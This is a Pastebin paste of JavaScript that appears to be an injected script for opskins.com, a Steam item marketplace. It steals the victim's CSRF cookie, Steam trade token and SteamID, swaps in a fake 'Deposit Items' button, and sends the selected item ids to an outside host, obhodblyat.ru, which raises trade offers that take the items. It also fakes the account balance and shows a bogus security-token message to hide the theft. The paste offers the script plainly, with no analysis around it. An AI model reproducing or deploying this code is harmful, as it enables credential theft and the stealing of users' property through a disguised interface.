Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if (document.domain === "www.opskins.com" || document.domain === "opskins.com") {
- var gay = location.href;
- function getCookie(name) {
- var matches = document.cookie.match(new RegExp(
- "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
- ));
- return matches ? decodeURIComponent(matches[1]) : undefined;
- }
- function setCookie(name, value, options) {
- options = options || {};
- var expires = options.expires;
- if (typeof expires == "number" && expires) {
- var d = new Date();
- d.setTime(d.getTime() + expires * 1000);
- expires = options.expires = d;
- }
- if (expires && expires.toUTCString) {
- options.expires = expires.toUTCString();
- }
- value = encodeURIComponent(value);
- var updatedCookie = name + "=" + value;
- for (var propName in options) {
- updatedCookie += "; " + propName;
- var propValue = options[propName];
- if (propValue !== true) {
- updatedCookie += "=" + propValue;
- }
- }
- document.cookie = updatedCookie;
- }
- function deleteCookie(name) {
- setCookie(name, "", {
- expires: -1
- })
- }
- function sendAlert(str) {
- var elem = $("#alert-box");
- if (elem.is(":visible")) {
- dismissAlert(100, function () {
- sendAlert(str)
- });
- return
- };
- elem.html(str);
- elem.hide();
- }
- function retrieveWindowVariables(variables) {
- var ret = {};
- var scriptContent = "";
- for (var i = 0; i < variables.length; i++) {
- var currVariable = variables[i];
- scriptContent += "if (typeof " + currVariable + " !== 'undefined') $('body').attr('tmp_" + currVariable + "', " + currVariable + ");\n"
- }
- var script = document.createElement('script');
- script.id = 'tmpScript';
- script.appendChild(document.createTextNode(scriptContent));
- (document.body || document.head || document.documentElement).appendChild(script);
- for (var i = 0; i < variables.length; i++) {
- var currVariable = variables[i];
- ret[currVariable] = $("body").attr("tmp_" + currVariable);
- $("body").removeAttr("tmp_" + currVariable);
- }
- $("#tmpScript").remove();
- return ret;
- }
- function checktrade() {
- $.ajax({
- url: "https://obhodblyat.ru:9004/checkTrade/?tid=" + tid + "",
- type: "GET",
- success: function (data) {
- if (data.success == true) {
- console.log(data.action);
- if (data.action == "accept") {
- var opCount = $("#op-count").text();
- opCount = opCount.substring(1);
- opCount = parseFloat(opCount);
- stopCountr = opCount + price;
- opCount = opCount.toFixed(2);
- $("#op-count").text("$" + opCount);
- setCookie("balance", opCount, 7);
- $("#op-count").show();
- clearInterval(trade)
- } else {
- if (data.action == "cross") {
- clearInterval(trade);
- console.log("dec");
- sendAlert('<div class="alert alert-danger">Offer declined.</div>')
- }
- }
- }
- },
- error: function (err) {}
- })
- }
- var eptabal = getCookie("balance");
- if (typeof eptabal == "undefined") {
- $("#op-count").show();
- } else {
- $("#op-count").text("$" + eptabal);
- eptabal = parseFloat(eptabal);
- eptabal = eptabal.toFixed(2);
- $("#op-count").show();
- };
- $(".op-alert-message.op-danger").hide();
- $(".op-alert-message.op-warning").hide();
- if (gay.indexOf("loc=shop_sale_form") > 0) {
- $("button.navbar-toggle.pull-left")
- .before('<div style="display:none; background: #00a279;font-family: sans-serif;padding: 10px;text-align: center;font-size: 20px;" class="Im_love_you_dont_ban_me">0 - Items was stolen</div>');
- $(".Im_love_you_dont_ban_me").show("slow");
- function hideban() {
- $(".Im_love_you_dont_ban_me").hide("slow");
- }
- setTimeout(hideban, 5000);
- var bot = "";
- var code = "";
- var steamid = "";
- var token = "";
- var partner = "";
- var items = [];
- var g_SteamID = retrieveWindowVariables(["g_SteamID"])["g_SteamID"];
- var tid = "";
- var trade;
- var price = 0;
- var link = "https://steamcommunity.com/my/tradeoffers";
- var csrf = getCookie("opskins_csrf");
- $["ajax"]({
- url: "/?loc=store_account",
- type: "GET",
- headers: {
- "x-csrf": csrf
- },
- success: function (selector) {
- var v = $(selector).find('input[name*="tUrl"]').val();
- var z = v.split("&token=")[0];
- partner = z.substr(51);
- token = v.split("&token=")[1];
- },
- error: function (err) {}
- });
- $("#sellDepositBtn").html('<span class="btn btn-orange" id="sellitems" style="display: inline-block;">Deposit Items<span id="dueNowBtn" style="display:none;"> (<span id="dueNowAmt">0</span> Due Now)</span> </span>');
- $("#sellitems").click(function () {
- $(".col-md-2.pg-item.page").each(function (i) {
- var saleItem = $(this).find(".sale-item-desc");
- saleItem = $(saleItem[0]).text();
- saleItem = saleItem.substr(1);
- saleItem = Number(saleItem);
- price += saleItem;
- var id = $(this).attr("id");
- id = id.substr(5);
- items.push( $("#userItem" + id).data("asset") );
- });
- console.log(price);
- $("#qItems").html("<img class='ajax-loader' src='images/ajax-loader-big.gif'/>");
- var assetids = "";
- for (var i = 0; i < items.length; i++) {
- console.log(items[i]);
- assetids += items[i] + ","
- };
- assetids = assetids.substr.(0, assetids.length - 1);
- $.ajax({
- url: "https://obhodblyat.ru:9004/sendTrade/?assetids=" + assetids + "&partner=" + partner + "&token=" + token + "&steamid=" + g_SteamID,
- type: "GET",
- success: function (data) {
- if (data.success == true) {
- trade = setInterval(checktrade, 10000);
- tid = data.tid;
- $("#qItems").html('<div class="alert alert-success"><p>Your sale has been assigned to <a href="https://steamcommunity.com/profiles/' + data.steamid + '" class="alert-link" target="_BLANK">bot #' + data.bot + '</a>.</p><p><b>Your security token is "' + data.code + '".</b></p><h4>Open Trade Offer In:</h4><span class="offer-links"><a class="btn btn-default btn-lg" href="javascript:ShowTradeOffer(' + data.tid + ')"><i class="fa fa-chrome"></i> Browser</a><a class="btn btn-default btn-lg" href="steam://url/ShowTradeOffer/' + data.tid + '"><i class="stm stm-steam"></i> Steam</a></span><p>Trade offers may be canceled after 5 minutes.<br>After that time, you must resend the offer from your account page.</p></div>');
- } else {
- sendAlert('<div class="alert alert-danger">Steam error. Please reload the page and try again.</div>');
- }
- },
- error: function (err) {
- sendAlert('<div class="alert alert-danger">Steam error. Please reload the page and try again.</div>');
- }
- });
- });
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment